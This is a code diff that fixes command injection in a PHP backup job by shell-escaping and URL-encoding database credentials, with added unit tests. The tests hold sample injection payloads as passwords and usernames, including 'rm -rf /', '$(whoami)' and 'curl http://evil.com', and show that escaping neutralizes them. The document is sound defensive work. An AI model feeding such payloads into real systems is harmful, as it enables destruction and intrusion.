diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index d86986fad..7f1feaa21 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -91,7 +91,7 @@ public function handle(): void return; } - if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { + if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $this->database = data_get($this->backup, 'database'); $this->server = $this->database->service->server; $this->s3 = $this->backup->s3; @@ -119,7 +119,7 @@ public function handle(): void return; } - if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { + if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $databaseType = $this->database->databaseType(); $serviceUuid = $this->database->service->uuid; $serviceName = str($this->database->service->name)->slug(); @@ -241,7 +241,7 @@ public function handle(): void } } - } catch (\Throwable $e) { + } catch (Throwable $e) { // Continue without env vars - will be handled in backup_standalone_mongodb method } } @@ -388,7 +388,7 @@ public function handle(): void } else { throw new \Exception('Local backup file is empty or was not created'); } - } catch (\Throwable $e) { + } catch (Throwable $e) { // Local backup failed if ($this->backup_log) { $this->backup_log->update([ @@ -401,7 +401,7 @@ public function handle(): void } try { $this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database)); - } catch (\Throwable $notifyException) { + } catch (Throwable $notifyException) { Log::channel('scheduled-errors')->warning('Failed to send backup failure notification', [ 'backup_id' => $this->backup->uuid, 'database' => $database, @@ -423,7 +423,7 @@ public function handle(): void deleteBackupsLocally($this->backup_location, $this->server); $localStorageDeleted = true; } - } catch (\Throwable $e) { + } catch (Throwable $e) { // S3 upload failed but local backup succeeded $s3UploadError = $e->getMessage(); } @@ -455,7 +455,7 @@ public function handle(): void } else { $this->team->notify(new BackupSuccess($this->backup, $this->database, $database)); } - } catch (\Throwable $e) { + } catch (Throwable $e) { Log::channel('scheduled-errors')->warning('Failed to send backup success notification', [ 'backup_id' => $this->backup->uuid, 'database' => $database, @@ -467,7 +467,7 @@ public function handle(): void if ($this->backup_log && $this->backup_log->status === 'success') { removeOldBackups($this->backup); } - } catch (\Throwable $e) { + } catch (Throwable $e) { throw $e; } finally { if ($this->team) { @@ -489,19 +489,23 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi // For service-based MongoDB, try to build URL from environment variables if (filled($this->mongo_root_username) && filled($this->mongo_root_password)) { // Use container name instead of server IP for service-based MongoDB - $url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017"; + // URL-encode credentials to prevent URI injection + $encodedUser = rawurlencode($this->mongo_root_username); + $encodedPass = rawurlencode($this->mongo_root_password); + $url = "mongodb://{$encodedUser}:{$encodedPass}@{$this->container_name}:27017"; } else { // If no environment variables are available, throw an exception throw new \Exception('MongoDB credentials not found. Ensure MONGO_INITDB_ROOT_USERNAME and MONGO_INITDB_ROOT_PASSWORD environment variables are available in the container.'); } } Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); + $escapedUrl = escapeshellarg($url); if ($databaseWithCollections === 'all') { $commands[] = 'mkdir -p '.$this->backup_dir; if (str($this->database->image)->startsWith('mongo:4')) { - $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --gzip --archive > $this->backup_location"; } } else { if (str($databaseWithCollections)->contains(':')) { @@ -519,9 +523,9 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi if ($collectionsToExclude->count() === 0) { if (str($this->database->image)->startsWith('mongo:4')) { - $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --archive > $this->backup_location"; } } else { // Validate and escape each collection name @@ -533,9 +537,9 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi }); if (str($this->database->image)->startsWith('mongo:4')) { - $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location"; } } } @@ -544,7 +548,7 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -556,15 +560,16 @@ private function backup_standalone_postgresql(string $database): void $commands[] = 'mkdir -p '.$this->backup_dir; $backupCommand = 'docker exec'; if ($this->postgres_password) { - $backupCommand .= " -e PGPASSWORD=\"{$this->postgres_password}\""; + $backupCommand .= ' -e PGPASSWORD='.escapeshellarg($this->postgres_password); } + $escapedUsername = escapeshellarg($this->database->postgres_user); if ($this->backup->dump_all) { - $backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location"; + $backupCommand .= " $this->container_name pg_dumpall --username $escapedUsername | gzip > $this->backup_location"; } else { // Validate and escape database name to prevent command injection validateShellSafePath($database, 'database name'); $escapedDatabase = escapeshellarg($database); - $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location"; + $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username $escapedUsername $escapedDatabase > $this->backup_location"; } $commands[] = $backupCommand; @@ -573,7 +578,7 @@ private function backup_standalone_postgresql(string $database): void if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -583,20 +588,21 @@ private function backup_standalone_mysql(string $database): void { try { $commands[] = 'mkdir -p '.$this->backup_dir; + $escapedPassword = escapeshellarg($this->database->mysql_root_password); if ($this->backup->dump_all) { - $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location"; + $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location"; } else { // Validate and escape database name to prevent command injection validateShellSafePath($database, 'database name'); $escapedDatabase = escapeshellarg($database); - $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location"; + $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true); $this->backup_output = trim($this->backup_output); if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -606,20 +612,21 @@ private function backup_standalone_mariadb(string $database): void { try { $commands[] = 'mkdir -p '.$this->backup_dir; + $escapedPassword = escapeshellarg($this->database->mariadb_root_password); if ($this->backup->dump_all) { - $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location"; + $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location"; } else { // Validate and escape database name to prevent command injection validateShellSafePath($database, 'database name'); $escapedDatabase = escapeshellarg($database); - $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location"; + $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true); $this->backup_output = trim($this->backup_output); if ($this->backup_output === '') { $this->backup_output = null; } - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); throw $e; } @@ -666,7 +673,7 @@ private function upload_to_s3(): void $bucket = $this->s3->bucket; $endpoint = $this->s3->endpoint; $this->s3->testConnection(shouldSave: true); - if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { + if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $network = $this->database->service->destination->network; } else { $network = $this->database->destination->network; @@ -701,7 +708,7 @@ private function upload_to_s3(): void instant_remote_process($commands, $this->server, true, false, null, disableMultiplexing: true); $this->s3_uploaded = true; - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->s3_uploaded = false; $this->add_to_error_output($e->getMessage()); throw $e; @@ -755,7 +762,7 @@ public function failed(?Throwable $exception): void $output = $this->backup_output ?? $exception?->getMessage() ?? 'Unknown error'; try { $this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName)); - } catch (\Throwable $e) { + } catch (Throwable $e) { Log::channel('scheduled-errors')->warning('Failed to send backup permanent failure notification', [ 'backup_id' => $this->backup->uuid, 'error' => $e->getMessage(), diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php index 90940c174..10012950d 100644 --- a/tests/Unit/DatabaseBackupSecurityTest.php +++ b/tests/Unit/DatabaseBackupSecurityTest.php @@ -142,3 +142,83 @@ expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2')) ->toThrow(Exception::class); }); + +// --- Credential escaping tests for database backup commands --- + +test('escapeshellarg neutralizes command injection in postgres password', function () { + $maliciousPassword = '"; rm -rf / #'; + $escaped = escapeshellarg($maliciousPassword); + + // The escaped value must be a single shell token that cannot break out + expect($escaped)->not->toContain("\n"); + expect($escaped)->toBe("'\"; rm -rf / #'"); + // When used in: -e PGPASSWORD=, the shell sees one token + $command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump'; + expect($command)->toContain("PGPASSWORD='"); + expect($command)->not->toContain('PGPASSWORD=""'); +}); + +test('escapeshellarg neutralizes command injection in postgres username', function () { + $maliciousUser = 'admin$(whoami)'; + $escaped = escapeshellarg($maliciousUser); + + expect($escaped)->toBe("'admin\$(whoami)'"); + $command = "docker exec container pg_dump --username $escaped"; + // The $() should be inside single quotes, preventing execution + expect($command)->toContain("--username 'admin\$(whoami)'"); +}); + +test('escapeshellarg neutralizes command injection in mysql password', function () { + $maliciousPassword = 'pass" && curl http://evil.com #'; + $escaped = escapeshellarg($maliciousPassword); + + $command = "docker exec container mysqldump -u root -p$escaped db"; + // The password must be wrapped in single quotes + expect($command)->toContain("-p'pass\" && curl http://evil.com #'"); +}); + +test('escapeshellarg neutralizes command injection in mariadb password', function () { + $maliciousPassword = "pass'; whoami; echo '"; + $escaped = escapeshellarg($maliciousPassword); + + // Single quotes in the value get escaped as '\'' + expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''"); + $command = "docker exec container mariadb-dump -u root -p$escaped db"; + // Verify the command doesn't contain an unescaped semicolon outside quotes + expect($command)->toContain("-p'pass'"); +}); + +test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () { + $maliciousUser = 'admin";$(whoami)'; + $maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /'; + + $encodedUser = rawurlencode($maliciousUser); + $encodedPass = rawurlencode($maliciousPass); + $url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017"; + + // Special characters should be percent-encoded + expect($encodedUser)->not->toContain('"'); + expect($encodedUser)->not->toContain('$'); + expect($encodedUser)->not->toContain('('); + expect($encodedPass)->not->toContain('@'); + expect($encodedPass)->not->toContain('/'); + expect($encodedPass)->not->toContain('?'); + expect($encodedPass)->not->toContain('&'); + + // The URL should have exactly one @ (the delimiter) and the credentials percent-encoded + $atCount = substr_count($url, '@'); + expect($atCount)->toBe(1); +}); + +test('escapeshellarg on mongodb URI prevents shell breakout', function () { + // Even if internal_db_url contains malicious content, escapeshellarg wraps it safely + $maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #'; + $escaped = escapeshellarg($maliciousUrl); + + $command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup"; + // The entire URI must be inside single quotes + expect($command)->toContain("--uri='mongodb://admin:pass@host:27017"); + expect($command)->toContain("evil.com #'"); + // No unescaped double quotes that could break the command + expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2); +});